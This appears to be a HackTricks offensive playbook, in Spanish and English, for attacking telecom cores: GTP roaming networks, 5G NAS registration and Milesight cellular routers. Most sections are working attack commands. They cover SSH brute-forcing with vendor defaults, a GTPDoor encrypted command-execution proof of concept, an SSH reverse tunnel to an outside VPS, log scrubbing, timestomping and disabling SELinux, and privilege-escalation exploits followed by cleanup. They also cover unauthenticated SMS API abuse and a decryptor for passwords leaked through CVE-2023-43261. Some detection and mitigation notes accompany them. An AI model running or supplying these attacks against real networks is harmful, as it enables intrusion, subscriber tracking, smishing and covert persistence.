Explotación de redes de Telecomunicaciones (GTP / Roaming Environments)

Reading time: 14 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

note

Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming GRX/IPX semi-confiables. Debido a que viajan sobre UDP sin casi ninguna autenticación, cualquier punto de apoyo dentro del perímetro de telecomunicaciones puede normalmente alcanzar directamente los planos de señalización centrales. Las siguientes notas recopilan trucos ofensivos observados en entornos reales contra SGSN/GGSN, PGW/SGW y otros nodos EPC.

1. Recon & Initial Access

1.1 Cuentas OSS / NE por defecto

Un número sorprendentemente grande de elementos de red de los vendors se envía con usuarios SSH/Telnet codificados como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una wordlist dedicada aumenta drásticamente el éxito en brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si el dispositivo expone solo un management VRF, pivot through a jump host first (véase la sección «SGSN Emu Tunnel» más abajo).

1.2 Host Discovery inside GRX/IPX

La mayoría de los operadores GRX todavía permiten ICMP echo a través del backbone. Combina masscan con las UDP probes integradas de gtpv1 para mapear rápidamente los GTP-C listeners:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

La siguiente herramienta en Go crea paquetes GTP-C Create PDP Context Request y registra las respuestas. Cada respuesta revela el SGSN / MME actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi IMSI del suscriptor objetivo
  • --oper Home / HNI (MCC+MNC)
  • -w Escribir paquetes raw en pcap

Se pueden parchear constantes importantes dentro del binario para ampliar los escaneos:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Ejecución de código sobre GTP – GTPDoor

GTPDoor es un pequeño servicio ELF que escucha en UDP 2123 y analiza cada paquete GTP-C entrante. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta mediante /bin/sh -c. El stdout/stderr se exfiltra dentro de mensajes Echo Response para que nunca se cree una sesión saliente.

Paquete PoC mínimo (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detección:

  • cualquier host que envíe unbalanced Echo Requests a las IPs del SGSN
  • bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación

4. Pivoting a través del Core

4.1 sgsnemu + SOCKS5

OsmoGGSN incluye un emulador de SGSN capaz de establecer un contexto PDP hacia un GGSN/PGW real. Una vez negociado, Linux recibe una nueva interfaz tun0 accesible desde el peer de roaming.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con el firewall hair-pinning adecuado, este túnel evita las VLANs únicamente de señalización y te coloca directamente en el data plane.

4.2 SSH Reverse Tunnel sobre el puerto 53

DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS que escuche en :53 y vuelve más tarde desde casa:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Comprueba que GatewayPorts yes esté habilitado en el VPS.

5. Canales encubiertos

CanalTransporteDecodificaciónNotas
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)escucha totalmente pasiva, sin tráfico saliente
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsvigila el subdominio *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEse mezcla con el tráfico legítimo de GTP

All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.

6. Hoja de referencia de Defense Evasion Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation en Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Consejo de limpieza:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Caja de herramientas

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – herramientas custom descritas en secciones previas.
  • FScan : barridos TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS WPAD malicioso
  • Microsocks + ProxyChains : pivoting SOCKS5 ligero
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

El procedimiento de registro 5G corre sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa con Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed).

Registration flow (simplificado):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Consejos para laboratorio (no RF):

  • Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos.
  • UE: simulador o UE de prueba; decodificar con Wireshark.
  • Herramientas activas: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS al vuelo sin levantar un rogue gNB completo).
  • Filtros útiles en Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Privacidad de identificadores: fallos de SUCI exponiendo SUPI/IMSI

Esperado: el UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública del home-network). Encontrar un SUPI/IMSI en claro en el Registration Request indica un defecto de privacidad que permite tracking persistente del abonado.

Cómo probar:

  • Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
  • Chequeos rápidos en Wireshark:
  • Debe decodificarse como SUCI, no como IMSI.
  • Ejemplos de filtro: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci debe existir; la ausencia de esto junto con la presencia de imsi indica filtrado.

Qué recolectar:

  • MCC/MNC/MSIN si están expuestos; registrar por-UE y rastrear a través del tiempo/ubicaciones.

Mitigación:

  • Forzar UEs/USIMs que sólo usen SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial.

9.2 Degradación de capacidades a algoritmos nulos (EEA0/EIA0)

Contexto:

  • El UE anuncia las EEA (encryption) y EIA (integrity) soportadas en el IE UE Security Capability del Registration Request.
  • Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.

Problema:

  • Como el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas pilas incorrectamente permiten algoritmos nulos fuera de servicios de emergencia.

Pasos ofensivos:

  • Interceptar InitialUEMessage y modificar NAS UE Security Capability para anunciar sólo EEA0/EIA0.
  • Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar.
  • Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.

Verificación/visibilidad:

  • En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigaciones (obligatorias):

  • Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
  • Preferir aplicar EEA2/EIA2 como mínimo; registrar y activar alarmas en cualquier NAS security context que negocie null algorithms.

9.3 Repetición (replay) de initial Registration Request (NAS sin seguridad previa)

Debido a que el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser reproducido al AMF.

Regla PoC para que 5GReplay reenvíe replays coincidentes:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Qué observar:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Las respuestas incluyen campos como timestamp, content, phone_number (E.164) y status (success o failed). Los envíos repetidos con failed al mismo número suelen ser verificaciones de capacidad del atacante para validar que un router/SIM puede entregar antes de inundar.

Ejemplo de curl para exfiltrar metadatos SMS:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notas sobre auth artifacts:

  • Parte del tráfico puede incluir un auth cookie, pero una gran parte de los dispositivos expuestos responden sin ninguna autenticación a query_inbox/query_outbox cuando la interfaz de gestión está expuesta a Internet.
  • En entornos que requieren auth, previously-leaked credentials (ver más abajo) restauran el acceso.

Ruta de recuperación de credenciales – CVE-2023-43261:

  • Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problema: logs servidos por web (p. ej., httpd.log) son accesibles sin autenticación bajo /lang/log/ y contienen admin login events con la contraseña cifrada usando un hardcoded AES key/IV presente en client-side JavaScript.
  • Practical access and decrypt:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Ejemplo mínimo en Python para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ideas de hunting y detección (red):

  • Alertar sobre POST /cgi no autenticados cuyo body JSON contiene base/function seteados a query_inbox o query_outbox.
  • Rastrear ráfagas repetidas de POST /cgi seguidas por entradas status":"failed" a través de muchos números únicos desde la misma IP fuente (capability testing).
  • Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; deshabilitar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar logs SMS por envíos desconocidos.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


Ideas de detección

  1. Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Create PDP Context Requests.
  2. Puertos no estándar (53, 80, 443) recibiendo SSH handshakes desde IPs internas.
  3. Echo Requests frecuentes sin Echo Responses correspondientes – podría indicar beacons de GTPDoor.
  4. Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y no cero.
  5. 5G: InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos (señal de replay).
  6. 5G: NAS Security Mode negociando EEA0/EIA0 fuera de contextos de emergencia.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks